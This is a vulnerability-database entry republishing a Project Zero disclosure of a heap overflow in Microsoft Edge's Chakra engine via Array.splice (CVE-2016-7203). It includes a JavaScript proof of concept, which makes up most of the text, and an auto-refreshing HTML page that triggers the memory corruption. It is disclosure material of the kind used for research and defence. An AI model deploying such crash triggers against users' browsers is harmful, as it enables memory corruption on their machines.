Microsoft Edge - 'Array.splice' Heap Overflow

🗓️ 18 Nov 2016 00:00:00Reported by Google Security ResearchType

Microsoft Edge Array.splice Heap Overflow vulnerability in Chakr

Reporter	Title	Published	Views	Family All 34
ATTACKERKB	CVE-2016-7200	10 Nov 201600:00	–	attackerkb
ATTACKERKB	CVE-2016-7202	10 Nov 201600:00	–	attackerkb
ATTACKERKB	CVE-2016-7243	10 Nov 201600:00	–	attackerkb
ATTACKERKB	CVE-2016-7208	10 Nov 201600:00	–	attackerkb
ATTACKERKB	CVE-2016-7201	10 Nov 201600:00	–	attackerkb
BDU FSTEC	Microsoft Edge browser vulnerability, allowing attackers to gain access to the “My Documents” folder	27 Dec 201600:00	–	bdu_fstec
Circl	CVE-2016-7203	18 Nov 201600:00	–	circl
CNVD	Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2016-10955)	9 Nov 201600:00	–	cnvd
Check Point Advisories	Microsoft Edge Scripting Engine Memory Corruption (MS16-129: CVE-2016-7203)	8 Nov 201600:00	–	checkpoint_advisories
CVE	CVE-2016-7203	10 Nov 201606:16	–	cve

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=934

There is a heap overflow in Array.splice in Chakra.

When an array is spliced, and overflow check is performed, but ArraySpeciesCreate, which can execute code and alter the array is called after this. This can allow an Array with boundaries that cause integer overflows to be spliced, leading to heap overflows in several situations.

A minimal PoC is as follows and a full PoC is attached.

var a = [];

class dummy{}

a.length = 200000;
a.fill(7, 10000, 10200);

var o = {};

Object.defineProperty(o, 'constructor', {
    get: function() {
      a.length = 0xfffffffe;
      var k = [];
      k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
      return dummy;
    }
  });

a.__proto__ = o;

var q = [];
q.length = 500;
q.fill(7.7);

var j = [];

a.length = 0xfffffffe - 500;

j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;

This PoC is a bit unreliable, it may need to be refreshed a few times to crash.
-->

<html>
<head>
<meta http-equiv="refresh" content="1">
</head>

<body>
<script>


var a = [];

class dummy{}


a.length = 200000;
a.fill(7, 10000, 10200);

var o = {};
  Object.defineProperty(o, 'constructor', {
    get: function() {
      a.length = 0xfffffffe;
      var k = [];
      k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
      return dummy;
    }
  });

a.__proto__ = o;

var q = [];
q.length = 500;
q.fill(7.7);

var j = [];

a.length = 0xfffffffe - 500;


j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;


</script>
</body>
</html>

18 Nov 2016 00:00Current

7.4High risk

Vulners AI Score7.4

CVSS 37.5

CVSS 27.6

EPSS0.64892